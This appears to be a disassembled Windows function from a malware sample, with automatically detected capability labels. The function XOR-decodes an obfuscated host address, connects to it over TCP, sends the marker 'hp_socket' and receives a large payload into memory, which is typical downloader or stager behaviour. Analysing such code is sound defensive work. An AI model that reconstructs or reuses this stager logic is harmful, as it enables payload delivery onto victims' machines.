Function at 0x4015d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21ac
call fcn.00412a80
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x21a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4017de
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x41b4dc], eax
cmp eax, 0xffffffff
je 0x401732
movaps xmm2, xmmword [str.aaaaaaaaaaaaaaaa]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [eax + str.PTUOSQPOVPOSaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + str.PTUOSQPOVPOSaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa], xmm1
movups xmm0, xmmword [eax + 0x41a7d0]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x41a7d0], xmm1
movups xmm0, xmmword [eax + 0x41a7e0]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x41a7e0], xmm0
movups xmm0, xmmword [eax + 0x41a7f0]
pxor xmm1, xmm0
movups xmmword [eax + 0x41a7f0], xmm1
add eax, 0x40
cmp eax, 0x240
jb 0x401630
cmp eax, 0x248
jae 0x4016a1
xor byte [eax + str.PTUOSQPOVPOSaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa], 0x61
inc eax
cmp eax, 0x248
jb 0x401692
mov esi, dword [sym.imp.WS2_32.dll_getaddrinfo]
lea eax, [ebp - 0x21ac]
push eax
push 0
push 0
push str.PTUOSQPOVPOSaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
mov dword [ebp - 0x21ac], 0
call esi
test eax, eax
jne 0x40172d
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov ebx, dword [sym.imp.WS2_32.dll_connect]
mov eax, dword [ebp - 0x21ac]
mov eax, dword [eax + 0x18]
movups xmm0, xmmword [eax]
movzx eax, word [0x41a8c0]
push eax
movups xmmword [ebp - 0x2018], xmm0
call edi
mov word [ebp - 0x2016], ax
lea eax, [ebp - 0x2018]
push 0x10
push eax
push dword [0x41b4dc]
call ebx
cmp eax, 0xffffffff
jne 0x40172d
lea eax, [ebp - 0x21ac]
mov dword [ebp - 0x21ac], 0
push eax
push 0
push 0
push str.PTUOSQPOVPOSaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
call esi
test eax, eax
je 0x4016d3
mov eax, dword [0x41b4dc]
push 0
push 0xa
push str.hp_socket
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x4017de
push 0x2000
xor esi, esi
lea eax, [ebp - 0x2008]
push esi
push eax
call fcn.00402d50
add esp, 0xc
push 0
push 0x2000
lea eax, [ebp - 0x2008]
push eax
push dword [0x41b4dc]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x4017de
mov ebx, dword [0x41b4e0]
lea eax, [ebp - 0x2008]
push edi
push eax
lea ecx, [ebx + 0x5a250]
add ecx, esi
push ecx
call fcn.00404900
add esi, edi
add esp, 0xc
cmp esi, 0x5a250
jne 0x401761
push esi
lea eax, [ebx + 0x5a250]
push eax
push ebx
call fcn.00404900
add esp, 0xc
lea edi, [ebx + 0x5a008]
mov ecx, 0x92
mov esi, str.PTUOSQPOVPOSaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040193a
mov esp, ebp
pop ebp
ret
push 0
call fcn.00406d8a
int3